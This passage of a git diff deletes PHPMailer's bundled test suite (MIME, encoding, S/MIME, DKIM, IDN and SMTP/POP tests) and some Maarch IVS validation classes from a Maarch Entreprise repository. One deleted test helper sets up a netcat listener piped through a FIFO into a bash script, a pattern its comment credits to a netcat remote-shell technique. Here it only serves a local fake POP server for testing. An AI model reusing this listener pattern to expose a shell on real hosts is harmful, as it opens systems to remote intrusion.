"This is a multi-part message in MIME format./", - $this->Mail->getSentMIMEMessage(), - 'MIME structure broken' - ); - } - - /** - * Test BCC-only addressing. - */ - public function testBCCAddressing() - { - $this->Mail->Subject .= ': BCC-only addressing'; - $this->buildBody(); - $this->Mail->clearAllRecipients(); - $this->assertTrue($this->Mail->addBCC('a@example.com'), 'BCC addressing failed'); - $this->assertTrue($this->Mail->send(), 'send failed'); - } - - /** - * Encoding and charset tests. - */ - public function testEncodings() - { - $this->Mail->CharSet = 'iso-8859-1'; - $this->assertEquals( - '=A1Hola!_Se=F1or!', - $this->Mail->encodeQ("\xa1Hola! Se\xf1or!", 'text'), - 'Q Encoding (text) failed' - ); - $this->assertEquals( - '=A1Hola!_Se=F1or!', - $this->Mail->encodeQ("\xa1Hola! Se\xf1or!", 'comment'), - 'Q Encoding (comment) failed' - ); - $this->assertEquals( - '=A1Hola!_Se=F1or!', - $this->Mail->encodeQ("\xa1Hola! Se\xf1or!", 'phrase'), - 'Q Encoding (phrase) failed' - ); - $this->Mail->CharSet = 'UTF-8'; - $this->assertEquals( - '=C2=A1Hola!_Se=C3=B1or!', - $this->Mail->encodeQ("\xc2\xa1Hola! Se\xc3\xb1or!", 'text'), - 'Q Encoding (text) failed' - ); - //Strings containing '=' are a special case - $this->assertEquals( - 'Nov=C3=A1=3D', - $this->Mail->encodeQ("Nov\xc3\xa1=", 'text'), - 'Q Encoding (text) failed 2' - ); - } - - /** - * Test base-64 encoding. - */ - public function testBase64() - { - $this->Mail->Subject .= ': Base-64 encoding'; - $this->Mail->Encoding = 'base64'; - $this->buildBody(); - $this->assertTrue($this->Mail->send(), 'Base64 encoding failed'); - } - /** - * S/MIME Signing tests (self-signed). - * @requires extension openssl - */ - public function testSigning() - { - $this->Mail->Subject .= ': S/MIME signing'; - $this->Mail->Body = 'This message is S/MIME signed.'; - $this->buildBody(); - - $dn = array( - 'countryName' => 'UK', - 'stateOrProvinceName' => 'Here', - 'localityName' => 'There', - 'organizationName' => 'PHP', - 'organizationalUnitName' => 'PHPMailer', - 'commonName' => 'PHPMailer Test', - 'emailAddress' => 'phpmailer@example.com' - ); - $keyconfig = array( - "digest_alg" => "sha256", - "private_key_bits" => 2048, - "private_key_type" => OPENSSL_KEYTYPE_RSA, - ); - $password = 'password'; - $certfile = 'certfile.pem'; - $keyfile = 'keyfile.pem'; - - //Make a new key pair - $pk = openssl_pkey_new($keyconfig); - //Create a certificate signing request - $csr = openssl_csr_new($dn, $pk); - //Create a self-signed cert - $cert = openssl_csr_sign($csr, null, $pk, 1); - //Save the cert - openssl_x509_export($cert, $certout); - file_put_contents($certfile, $certout); - //Save the key - openssl_pkey_export($pk, $pkeyout, $password); - file_put_contents($keyfile, $pkeyout); - - $this->Mail->sign( - $certfile, - $keyfile, - $password - ); - $this->assertTrue($this->Mail->send(), 'S/MIME signing failed'); - - $msg = $this->Mail->getSentMIMEMessage(); - $this->assertNotContains("\r\n\r\nMIME-Version:", $msg, 'Incorrect MIME headers'); - unlink($certfile); - unlink($keyfile); - } - - /** - * S/MIME Signing tests using a CA chain cert. - * To test that a generated message is signed correctly, save the message in a file - * and use openssl along with the certs generated by this script: - * `openssl smime -verify -in signed.eml -signer certfile.pem -CAfile cacertfile.pem` - * @requires extension openssl - */ - public function testSigningWithCA() - { - $this->Mail->Subject .= ': S/MIME signing with CA'; - $this->Mail->Body = 'This message is S/MIME signed with an extra CA cert.'; - $this->buildBody(); - - $certprops = array( - 'countryName' => 'UK', - 'stateOrProvinceName' => 'Here', - 'localityName' => 'There', - 'organizationName' => 'PHP', - 'organizationalUnitName' => 'PHPMailer', - 'commonName' => 'PHPMailer Test', - 'emailAddress' => 'phpmailer@example.com' - ); - $cacertprops = array( - 'countryName' => 'UK', - 'stateOrProvinceName' => 'Here', - 'localityName' => 'There', - 'organizationName' => 'PHP', - 'organizationalUnitName' => 'PHPMailer CA', - 'commonName' => 'PHPMailer Test CA', - 'emailAddress' => 'phpmailer@example.com' - ); - $keyconfig = array( - "digest_alg" => "sha256", - "private_key_bits" => 2048, - "private_key_type" => OPENSSL_KEYTYPE_RSA, - ); - $password = 'password'; - $cacertfile = 'cacertfile.pem'; - $cakeyfile = 'cakeyfile.pem'; - $certfile = 'certfile.pem'; - $keyfile = 'keyfile.pem'; - - //Create a CA cert - //Make a new key pair - $capk = openssl_pkey_new($keyconfig); - //Create a certificate signing request - $csr = openssl_csr_new($cacertprops, $capk); - //Create a self-signed cert - $cert = openssl_csr_sign($csr, null, $capk, 1); - //Save the CA cert - openssl_x509_export($cert, $certout); - file_put_contents($cacertfile, $certout); - //Save the CA key - openssl_pkey_export($capk, $pkeyout, $password); - file_put_contents($cakeyfile, $pkeyout); - - //Create a cert signed by our CA - //Make a new key pair - $pk = openssl_pkey_new($keyconfig); - //Create a certificate signing request - $csr = openssl_csr_new($certprops, $pk); - //Create a self-signed cert - $cert = openssl_csr_sign($csr, 'file://' . $cacertfile, $capk, 1); - //Save the cert - openssl_x509_export($cert, $certout); - file_put_contents($certfile, $certout); - //Save the key - openssl_pkey_export($pk, $pkeyout, $password); - file_put_contents($keyfile, $pkeyout); - - $this->Mail->sign( - $certfile, - $keyfile, - $password, - $cacertfile - ); - $this->assertTrue($this->Mail->send(), 'S/MIME signing with CA failed'); - unlink($cacertfile); - unlink($cakeyfile); - unlink($certfile); - unlink($keyfile); - } - - /** - * DKIM Signing tests. - * @requires extension openssl - */ - public function testDKIM() - { - $this->Mail->Subject .= ': DKIM signing'; - $this->Mail->Body = 'This message is DKIM signed.'; - $this->buildBody(); - $privatekeyfile = 'dkim_private.key'; - //Make a new key pair - //(2048 bits is the recommended minimum key length - - //gmail won't accept less than 1024 bits) - $pk = openssl_pkey_new( - array( - 'private_key_bits' => 2048, - 'private_key_type' => OPENSSL_KEYTYPE_RSA - ) - ); - openssl_pkey_export_to_file($pk, $privatekeyfile); - $this->Mail->DKIM_domain = 'example.com'; - $this->Mail->DKIM_private = $privatekeyfile; - $this->Mail->DKIM_selector = 'phpmailer'; - $this->Mail->DKIM_passphrase = ''; //key is not encrypted - $this->assertTrue($this->Mail->send(), 'DKIM signed mail failed'); - unlink($privatekeyfile); - } - - /** - * Test line break reformatting. - */ - public function testLineBreaks() - { - $unixsrc = "hello\nWorld\nAgain\n"; - $macsrc = "hello\rWorld\rAgain\r"; - $windowssrc = "hello\r\nWorld\r\nAgain\r\n"; - $mixedsrc = "hello\nWorld\rAgain\r\n"; - $target = "hello\r\nWorld\r\nAgain\r\n"; - $this->assertEquals($target, PHPMailer::normalizeBreaks($unixsrc), 'UNIX break reformatting failed'); - $this->assertEquals($target, PHPMailer::normalizeBreaks($macsrc), 'Mac break reformatting failed'); - $this->assertEquals($target, PHPMailer::normalizeBreaks($windowssrc), 'Windows break reformatting failed'); - $this->assertEquals($target, PHPMailer::normalizeBreaks($mixedsrc), 'Mixed break reformatting failed'); - } - - /** - * Test line length detection - */ - public function testLineLength() - { - $oklen = str_repeat(str_repeat('0', PHPMailer::MAX_LINE_LENGTH)."\r\n", 2); - $badlen = str_repeat(str_repeat('1', PHPMailer::MAX_LINE_LENGTH + 1) . "\r\n", 2); - $this->assertTrue(PHPMailer::hasLineLongerThanMax($badlen), 'Long line not detected (only)'); - $this->assertTrue(PHPMailer::hasLineLongerThanMax($oklen . $badlen), 'Long line not detected (first)'); - $this->assertTrue(PHPMailer::hasLineLongerThanMax($badlen . $oklen), 'Long line not detected (last)'); - $this->assertTrue( - PHPMailer::hasLineLongerThanMax($oklen . $badlen . $oklen), - 'Long line not detected (middle)' - ); - $this->assertFalse(PHPMailer::hasLineLongerThanMax($oklen), 'Long line false positive'); - $this->Mail->isHTML(false); - $this->Mail->Subject .= ": Line length test"; - $this->Mail->CharSet = 'UTF-8'; - $this->Mail->Encoding = '8bit'; - $this->Mail->Body = $oklen . $badlen . $oklen . $badlen; - $this->buildBody(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - $this->assertEquals('quoted-printable', $this->Mail->Encoding, 'Long line did not override transfer encoding'); - } - - /** - * Test setting and retrieving message ID. - */ - public function testMessageID() - { - $this->Mail->Body = 'Test message ID.'; - $id = md5(12345); - $this->Mail->MessageID = $id; - $this->buildBody(); - $this->Mail->preSend(); - $lastid = $this->Mail->getLastMessageID(); - $this->assertNotEquals($lastid, $id, 'Invalid Message ID allowed'); - $id = '<'.md5(12345).'@example.com>'; - $this->Mail->MessageID = $id; - $this->buildBody(); - $this->Mail->preSend(); - $lastid = $this->Mail->getLastMessageID(); - $this->assertEquals($lastid, $id, 'Custom Message ID not used'); - $this->Mail->MessageID = ''; - $this->buildBody(); - $this->Mail->preSend(); - $lastid = $this->Mail->getLastMessageID(); - $this->assertRegExp('/^<.*@.*>$/', $lastid, 'Invalid default Message ID'); - } - - /** - * Miscellaneous calls to improve test coverage and some small tests. - */ - public function testMiscellaneous() - { - $this->assertEquals('application/pdf', PHPMailer::_mime_types('pdf'), 'MIME TYPE lookup failed'); - $this->Mail->addCustomHeader('SomeHeader: Some Value'); - $this->Mail->clearCustomHeaders(); - $this->Mail->clearAttachments(); - $this->Mail->isHTML(false); - $this->Mail->isSMTP(); - $this->Mail->isMail(); - $this->Mail->isSendmail(); - $this->Mail->isQmail(); - $this->Mail->setLanguage('fr'); - $this->Mail->Sender = ''; - $this->Mail->createHeader(); - $this->assertFalse($this->Mail->set('x', 'y'), 'Invalid property set succeeded'); - $this->assertTrue($this->Mail->set('Timeout', 11), 'Valid property set failed'); - $this->assertTrue($this->Mail->set('AllowEmpty', null), 'Null property set failed'); - $this->assertTrue($this->Mail->set('AllowEmpty', false), 'Valid property set of null property failed'); - //Test pathinfo - $a = '/mnt/files/飛兒樂 團光茫.mp3'; - $q = PHPMailer::mb_pathinfo($a); - $this->assertEquals($q['dirname'], '/mnt/files', 'UNIX dirname not matched'); - $this->assertEquals($q['basename'], '飛兒樂 團光茫.mp3', 'UNIX basename not matched'); - $this->assertEquals($q['extension'], 'mp3', 'UNIX extension not matched'); - $this->assertEquals($q['filename'], '飛兒樂 團光茫', 'UNIX filename not matched'); - $this->assertEquals( - PHPMailer::mb_pathinfo($a, PATHINFO_DIRNAME), - '/mnt/files', - 'Dirname path element not matched' - ); - $this->assertEquals(PHPMailer::mb_pathinfo($a, 'filename'), '飛兒樂 團光茫', 'Filename path element not matched'); - $a = 'c:\mnt\files\飛兒樂 團光茫.mp3'; - $q = PHPMailer::mb_pathinfo($a); - $this->assertEquals($q['dirname'], 'c:\mnt\files', 'Windows dirname not matched'); - $this->assertEquals($q['basename'], '飛兒樂 團光茫.mp3', 'Windows basename not matched'); - $this->assertEquals($q['extension'], 'mp3', 'Windows extension not matched'); - $this->assertEquals($q['filename'], '飛兒樂 團光茫', 'Windows filename not matched'); - } - public function testBadSMTP() - { - $this->Mail->smtpConnect(); - $smtp = $this->Mail->getSMTPInstance(); - $this->assertFalse($smtp->mail("somewhere\nbad"), 'Bad SMTP command containing breaks accepted'); - } - - /** - * Tests the Custom header getter - */ - public function testCustomHeaderGetter() - { - $this->Mail->addCustomHeader('foo', 'bar'); - $this->assertEquals(array(array('foo', 'bar')), $this->Mail->getCustomHeaders()); - - $this->Mail->addCustomHeader('foo', 'baz'); - $this->assertEquals(array( - array('foo', 'bar'), - array('foo', 'baz') - ), $this->Mail->getCustomHeaders()); - - $this->Mail->clearCustomHeaders(); - $this->assertEmpty($this->Mail->getCustomHeaders()); - - $this->Mail->addCustomHeader('yux'); - $this->assertEquals(array(array('yux')), $this->Mail->getCustomHeaders()); - - $this->Mail->addCustomHeader('Content-Type: application/json'); - $this->assertEquals(array( - array('yux'), - array('Content-Type', ' application/json') - ), $this->Mail->getCustomHeaders()); - } - - /** - * Tests setting and retrieving ConfirmReadingTo address, also known as "read receipt" address. - */ - public function testConfirmReadingTo() - { - $this->Mail->CharSet = 'utf-8'; - $this->buildBody(); - - $this->Mail->ConfirmReadingTo = 'test@example..com'; //Invalid address - $this->assertFalse($this->Mail->send(), $this->Mail->ErrorInfo); - - $this->Mail->ConfirmReadingTo = ' test@example.com'; //Extra space to trim - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - $this->assertEquals( - 'test@example.com', - $this->Mail->ConfirmReadingTo, - 'Unexpected read receipt address'); - - $this->Mail->ConfirmReadingTo = 'test@françois.ch'; //Address with IDN - if ($this->Mail->idnSupported()) { - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - $this->assertEquals( - 'test@xn--franois-xxa.ch', - $this->Mail->ConfirmReadingTo, - 'IDN address not converted to punycode'); - } else { - $this->assertFalse($this->Mail->send(), $this->Mail->ErrorInfo); - } - } - - /** - * Tests CharSet and Unicode -> ASCII conversions for addresses with IDN. - */ - public function testConvertEncoding() - { - if (!$this->Mail->idnSupported()) { - $this->markTestSkipped('intl and/or mbstring extensions are not available'); - } - - $this->Mail->clearAllRecipients(); - $this->Mail->clearReplyTos(); - - // This file is UTF-8 encoded. Create a domain encoded in "iso-8859-1". - $domain = '@' . mb_convert_encoding('françois.ch', 'ISO-8859-1', 'UTF-8'); - $this->Mail->addAddress('test' . $domain); - $this->Mail->addCC('test+cc' . $domain); - $this->Mail->addBCC('test+bcc' . $domain); - $this->Mail->addReplyTo('test+replyto' . $domain); - - // Queued addresses are not returned by get*Addresses() before send() call. - $this->assertEmpty($this->Mail->getToAddresses(), 'Bad "to" recipients'); - $this->assertEmpty($this->Mail->getCcAddresses(), 'Bad "cc" recipients'); - $this->assertEmpty($this->Mail->getBccAddresses(), 'Bad "bcc" recipients'); - $this->assertEmpty($this->Mail->getReplyToAddresses(), 'Bad "reply-to" recipients'); - - // Clear queued BCC recipient. - $this->Mail->clearBCCs(); - - $this->buildBody(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - - // Addresses with IDN are returned by get*Addresses() after send() call. - $domain = $this->Mail->punyencodeAddress($domain); - $this->assertEquals( - array(array('test' . $domain, '')), - $this->Mail->getToAddresses(), - 'Bad "to" recipients'); - $this->assertEquals( - array(array('test+cc' . $domain, '')), - $this->Mail->getCcAddresses(), - 'Bad "cc" recipients'); - $this->assertEmpty($this->Mail->getBccAddresses(), 'Bad "bcc" recipients'); - $this->assertEquals( - array('test+replyto' . $domain => array('test+replyto' . $domain, '')), - $this->Mail->getReplyToAddresses(), - 'Bad "reply-to" addresses'); - } - - /** - * Tests removal of duplicate recipients and reply-tos. - */ - public function testDuplicateIDNRemoved() - { - if (!$this->Mail->idnSupported()) { - $this->markTestSkipped('intl and/or mbstring extensions are not available'); - } - - $this->Mail->clearAllRecipients(); - $this->Mail->clearReplyTos(); - - $this->Mail->CharSet = 'utf-8'; - - $this->assertTrue($this->Mail->addAddress('test@françois.ch')); - $this->assertFalse($this->Mail->addAddress('test@françois.ch')); - $this->assertTrue($this->Mail->addAddress('test@FRANÇOIS.CH')); - $this->assertFalse($this->Mail->addAddress('test@FRANÇOIS.CH')); - $this->assertTrue($this->Mail->addAddress('test@xn--franois-xxa.ch')); - $this->assertFalse($this->Mail->addAddress('test@xn--franois-xxa.ch')); - $this->assertFalse($this->Mail->addAddress('test@XN--FRANOIS-XXA.CH')); - - $this->assertTrue($this->Mail->addReplyTo('test+replyto@françois.ch')); - $this->assertFalse($this->Mail->addReplyTo('test+replyto@françois.ch')); - $this->assertTrue($this->Mail->addReplyTo('test+replyto@FRANÇOIS.CH')); - $this->assertFalse($this->Mail->addReplyTo('test+replyto@FRANÇOIS.CH')); - $this->assertTrue($this->Mail->addReplyTo('test+replyto@xn--franois-xxa.ch')); - $this->assertFalse($this->Mail->addReplyTo('test+replyto@xn--franois-xxa.ch')); - $this->assertFalse($this->Mail->addReplyTo('test+replyto@XN--FRANOIS-XXA.CH')); - - $this->buildBody(); - $this->assertTrue($this->Mail->send(), $this->Mail->ErrorInfo); - - // There should be only one "To" address and one "Reply-To" address. - $this->assertEquals( - 1, - count($this->Mail->getToAddresses()), - 'Bad count of "to" recipients'); - $this->assertEquals( - 1, - count($this->Mail->getReplyToAddresses()), - 'Bad count of "reply-to" addresses'); - } - - /** - * Use a fake POP3 server to test POP-before-SMTP auth. - * With a known-good login - */ - public function testPopBeforeSmtpGood() - { - //Start a fake POP server - $pid = shell_exec('nohup ./runfakepopserver.sh >/dev/null 2>/dev/null & printf "%u" $!'); - $this->pids[] = $pid; - - sleep(2); - //Test a known-good login - $this->assertTrue( - POP3::popBeforeSmtp('localhost', 1100, 10, 'user', 'test', $this->Mail->SMTPDebug), - 'POP before SMTP failed' - ); - //Kill the fake server - shell_exec('kill -TERM ' . escapeshellarg($pid)); - sleep(2); - } - - /** - * Use a fake POP3 server to test POP-before-SMTP auth - * with a known-bad login. - */ - public function testPopBeforeSmtpBad() - { - //Start a fake POP server on a different port - //so we don't inadvertently connect to the previous instance - $pid = shell_exec('nohup ./runfakepopserver.sh 1101 >/dev/null 2>/dev/null & printf "%u" $!'); - $this->pids[] = $pid; - - sleep(2); - //Test a known-bad login - $this->assertFalse( - POP3::popBeforeSmtp('localhost', 1101, 10, 'user', 'xxx', $this->Mail->SMTPDebug), - 'POP before SMTP should have failed' - ); - shell_exec('kill -TERM ' . escapeshellarg($pid)); - sleep(2); - } - - /** - * Test SMTP host connections. - * This test can take a long time, so run it last - */ - public function testSmtpConnect() - { - $this->Mail->SMTPDebug = 4; //Show connection-level errors - $this->assertTrue($this->Mail->smtpConnect(), 'SMTP single connect failed'); - $this->Mail->smtpClose(); - $this->Mail->Host = "ssl://localhost:12345;tls://localhost:587;10.10.10.10:54321;localhost:12345;10.10.10.10"; - $this->assertFalse($this->Mail->smtpConnect(), 'SMTP bad multi-connect succeeded'); - $this->Mail->smtpClose(); - $this->Mail->Host = "localhost:12345;10.10.10.10:54321;" . $_REQUEST['mail_host']; - $this->assertTrue($this->Mail->smtpConnect(), 'SMTP multi-connect failed'); - $this->Mail->smtpClose(); - $this->Mail->Host = " localhost:12345 ; " . $_REQUEST['mail_host'] . ' '; - $this->assertTrue($this->Mail->smtpConnect(), 'SMTP hosts with stray spaces failed'); - $this->Mail->smtpClose(); - $this->Mail->Host = $_REQUEST['mail_host']; - //Need to pick a harmless option so as not cause problems of its own! socket:bind doesn't work with Travis-CI - $this->assertTrue( - $this->Mail->smtpConnect(array('ssl' => array('verify_depth' => 10))), - 'SMTP connect with options failed' - ); - } -} - -/** - * This is a sample form for setting appropriate test values through a browser - * These values can also be set using a file called testbootstrap.php (not in repo) in the same folder as this script - * which is probably more useful if you run these tests a lot - * <html> - * <body> - * <h3>phpmailer Unit Test</h3> - * By entering a SMTP hostname it will automatically perform tests with SMTP. - * - * <form name="phpmailer_unit" action=__FILE__ method="get"> - * <input type="hidden" name="submitted" value="1"/> - * From Address: <input type="text" size="50" name="mail_from" value="<?php echo get("mail_from"); ?>"/> - * <br/> - * To Address: <input type="text" size="50" name="mail_to" value="<?php echo get("mail_to"); ?>"/> - * <br/> - * Cc Address: <input type="text" size="50" name="mail_cc" value="<?php echo get("mail_cc"); ?>"/> - * <br/> - * SMTP Hostname: <input type="text" size="50" name="mail_host" value="<?php echo get("mail_host"); ?>"/> - * <p/> - * <input type="submit" value="Run Test"/> - * - * </form> - * </body> - * </html> - */ diff --git a/apps/maarch_entreprise/tools/PHPMailer/test/runfakepopserver.sh b/apps/maarch_entreprise/tools/PHPMailer/test/runfakepopserver.sh deleted file mode 100755 index c325524147bb6e958beec33287df4ced8cffeeb2..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/test/runfakepopserver.sh +++ /dev/null @@ -1,10 +0,0 @@ -#!/usr/bin/env bash - -# Run the fake pop server from bash -# Idea from http://blog.ale-re.net/2007/09/ipersimple-remote-shell-with-netcat.html -# Defaults to port 1100 so it can be run by unpriv users and not clash with a real server -# Optionally, pass in a port number as the first arg - -mkfifo fifo -nc -l ${1:-1100} <fifo |bash ./fakepopserver.sh >fifo -rm fifo diff --git a/apps/maarch_entreprise/tools/PHPMailer/test/test_callback.php b/apps/maarch_entreprise/tools/PHPMailer/test/test_callback.php deleted file mode 100755 index 2c775092e8f585a44ec030334bc9ec5b3f8821a7..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/test/test_callback.php +++ /dev/null @@ -1,81 +0,0 @@ -<html> -<head> - <title>PHPMailer Lite - DKIM and Callback Function test</title> -</head> -<body> - -<?php -/* This is a sample callback function for PHPMailer Lite. - * This callback function will echo the results of PHPMailer processing. - */ - -/* Callback (action) function - * boolean $result result of the send action - * string $to email address of the recipient - * string $cc cc email addresses - * string $bcc bcc email addresses - * string $subject the subject - * string $body the email body - * @return boolean - */ -function callbackAction($result, $to, $cc, $bcc, $subject, $body) -{ - /* - this callback example echos the results to the screen - implement to - post to databases, build CSV log files, etc., with minor changes - */ - $to = cleanEmails($to, 'to'); - $cc = cleanEmails($cc[0], 'cc'); - $bcc = cleanEmails($bcc[0], 'cc'); - echo $result . "\tTo: " . $to['Name'] . "\tTo: " . $to['Email'] . "\tCc: " . $cc['Name'] . - "\tCc: " . $cc['Email'] . "\tBcc: " . $bcc['Name'] . "\tBcc: " . $bcc['Email'] . - "\t" . $subject . "\n\n". $body . "\n"; - return true; -} - -require_once '../PHPMailerAutoload.php'; -$mail = new PHPMailer(); - -try { - $mail->isMail(); - $mail->setFrom('you@example.com', 'Your Name'); - $mail->addAddress('another@example.com', 'John Doe'); - $mail->Subject = 'PHPMailer Test Subject'; - $mail->msgHTML(file_get_contents('../examples/contents.html')); - // optional - msgHTML will create an alternate automatically - $mail->AltBody = 'To view the message, please use an HTML compatible email viewer!'; - $mail->addAttachment('../examples/images/phpmailer.png'); // attachment - $mail->addAttachment('../examples/images/phpmailer_mini.png'); // attachment - $mail->action_function = 'callbackAction'; - $mail->send(); - echo "Message Sent OK</p>\n"; -} catch (phpmailerException $e) { - echo $e->errorMessage(); //Pretty error messages from PHPMailer -} catch (Exception $e) { - echo $e->getMessage(); //Boring error messages from anything else! -} - -function cleanEmails($str, $type) -{ - if ($type == 'cc') { - $addy['Email'] = $str[0]; - $addy['Name'] = $str[1]; - return $addy; - } - if (!strstr($str, ' <')) { - $addy['Name'] = ''; - $addy['Email'] = $addy; - return $addy; - } - $addyArr = explode(' <', $str); - if (substr($addyArr[1], -1) == '>') { - $addyArr[1] = substr($addyArr[1], 0, -1); - } - $addy['Name'] = $addyArr[0]; - $addy['Email'] = $addyArr[1]; - $addy['Email'] = str_replace('@', '@', $addy['Email']); - return $addy; -} -?> -</body> -</html> diff --git a/apps/maarch_entreprise/tools/PHPMailer/test/testbootstrap-dist.php b/apps/maarch_entreprise/tools/PHPMailer/test/testbootstrap-dist.php deleted file mode 100755 index 6d23fa76d901ed818532d64623c50df7eac839ed..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/test/testbootstrap-dist.php +++ /dev/null @@ -1,7 +0,0 @@ -<?php -$_REQUEST['submitted'] = 1; -$_REQUEST['mail_to'] = 'somebody@example.com'; -$_REQUEST['mail_from'] = 'phpunit@example.com'; -$_REQUEST['mail_cc'] = 'cc@example.com'; -$_REQUEST['mail_host'] = 'localhost'; -$_REQUEST['mail_port'] = 2500; \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/PHPMailer/travis.phpunit.xml.dist b/apps/maarch_entreprise/tools/PHPMailer/travis.phpunit.xml.dist deleted file mode 100755 index 8edfd44e2354a7297e8632211564e9201a60352e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/travis.phpunit.xml.dist +++ /dev/null @@ -1,34 +0,0 @@ -<?xml version="1.0" encoding="UTF-8"?> -<phpunit - verbose="false" - stopOnError="false" - stopOnFailure="false" - stopOnIncomplete="false" - stopOnSkipped="false" - convertErrorsToExceptions="true" - convertNoticesToExceptions="true" - convertWarningsToExceptions="true" - colors="false" - forceCoversAnnotation="false" - processIsolation="false"> - <testsuites> - <testsuite name="PHPMailer Tests"> - <directory>./test/</directory> - </testsuite> - </testsuites> - <filter> - <blacklist> - <directory suffix=".php">./extras</directory> - </blacklist> - </filter> - <groups> - <exclude> - <group>languages</group> - </exclude> - </groups> - <logging> - <log type="coverage-text" target="php://stdout" showUncoveredFiles="true"/> - <log type="coverage-clover" target="build/logs/clover.xml"/> - <log type="junit" target="build/logs/junit.xml" logIncompleteSkipped="false"/> - </logging> -</phpunit> diff --git a/apps/maarch_entreprise/tools/maarchIVS/DataType.php b/apps/maarch_entreprise/tools/maarchIVS/DataType.php deleted file mode 100755 index 94c810d447c944fff72a46421431fdcb73f2ba29..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/maarchIVS/DataType.php +++ /dev/null @@ -1,46 +0,0 @@ -<?php -/* - * Copyright (C) 2015 Maarch - * - * This file is part of Maarch IVS. - * - * Maarch IVS is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * Maarch IVS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with Maarch IVS. If not, see <http://www.gnu.org/licenses/>. - */ -/** - * Maarch IVS - Data type - * - * @package MaarchIVS - * @author Cyril Vazquez (Maarch) <cyril.vazquez@maarch.org> - */ -class DataType -{ - public $name; - - public $base; - - public $restriction; - - /** - * Constructor - * @param string $name The type name - * @param mixed $base The type base - */ - public function __construct($name, $base) - { - $this->name = $name; - - $this->base = $base; - } - -} \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/maarchIVS/DataTypeRestriction.php b/apps/maarch_entreprise/tools/maarchIVS/DataTypeRestriction.php deleted file mode 100755 index d2e748d35228915e80e44bf01c5a8a7b9cc14c67..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/maarchIVS/DataTypeRestriction.php +++ /dev/null @@ -1,101 +0,0 @@ -<?php -/* - * Copyright (C) 2015 Maarch - * - * This file is part of Maarch IVS. - * - * Maarch IVS is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * Maarch IVS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with Maarch IVS. If not, see <http://www.gnu.org/licenses/>. - */ -/** - * Maarch IVS - Validation Facets - * - * @package MaarchIVS - * @author Cyril Vazquez (Maarch) <cyril.vazquez@maarch.org> - */ -class DataTypeRestriction -{ - public $minLength; - public $maxLength; - public $minInclusive; - public $maxInclusive; - public $minExclusive; - public $maxExclusive; - public $length; - public $enumeration; - public $pattern; - public $totalDigit; - public $fractionDigit; - - /** - * Add a facet - * @param string $name The facet name - * @param mixed $value The facet value - */ - public function addFacet($name, $value) - { - switch ($name) { - case 'minLength': - case 'maxLength': - case 'minInclusive': - case 'maxInclusive': - case 'minExclusive': - case 'maxExclusive': - $this->{$name} = $value; - break; - - case 'length': - case 'enumeration': - case 'pattern': - case 'totalDigit': - case 'fractionDigit': - if (is_array($value)) { - $this->{$name} = array_merge($this->{$name}, $value); - } else { - $this->{$name}[] = $value; - } - break; - } - } - - /** - * Extend a base restriction - * @param DataTypeRestriction $base - */ - public function extend($base) - { - foreach ($base as $name => $value) { - switch ($name) { - case 'minLength': - case 'maxLength': - case 'minInclusive': - case 'maxInclusive': - case 'minExclusive': - case 'maxExclusive': - if (!isset($this->{$name})) { - $this->{$name} = $value; - } - break; - - case 'length': - case 'enumeration': - case 'pattern': - case 'totalDigit': - case 'fractionDigit': - $this->{$name} = array_merge($this->{$name}, $value); - break; - } - } - } - -} \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/maarchIVS/MaarchIVS.php b/apps/maarch_entreprise/tools/maarchIVS/MaarchIVS.php deleted file mode 100755 index 385ef8fbd86e7e8bba7a29d202ee214b4cd5077e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/maarchIVS/MaarchIVS.php +++ /dev/null @@ -1,96 +0,0 @@ -<?php -/* - * Copyright (C) 2015 Maarch - * - * This file is part of Maarch IVS. - * - * Maarch IVS is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * Maarch IVS is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with Maarch IVS. If not, see <http://www.gnu.org/licenses/>. - */ -require_once 'ValidationEngine.php'; -require_once 'ValidationRule.php'; -require_once 'ValidationParameter.php'; -require_once 'ValidationError.php'; -require_once 'ValidationException.php'; -require_once 'DataType.php'; -require_once 'DataTypeRestriction.php'; -require_once 'handler' . DIRECTORY_SEPARATOR . 'ConfigurationHandlerInterface.php'; -/** - * Class Maarch IVS - * - * @package MaarchIVS - */ -class MaarchIVS -{ - /** - * Constants for configuration encoding - */ - const CONF_JSON = 'json'; - const CONF_XML = 'xml'; - const CONF_PHP = 'php'; - - /** - * Constants for error modes - */ - const ERRMODE_SILENT = 'silent'; - const ERRMODE_ERROR = 'error'; - const ERRMODE_EXCEPTION = 'exception'; - - /** - * The validation engine - * @var ValidationEngine - */ - protected static $validationEngine; - - /** - * Start the validation engine and set configuration - * @param mixed $configuration The configuration in one of the handled encodings - * @param string $configurationType The name of the configuration encoding - * - * @return bool - */ - public static function start($configuration, $configurationType) - { - self::$validationEngine = new 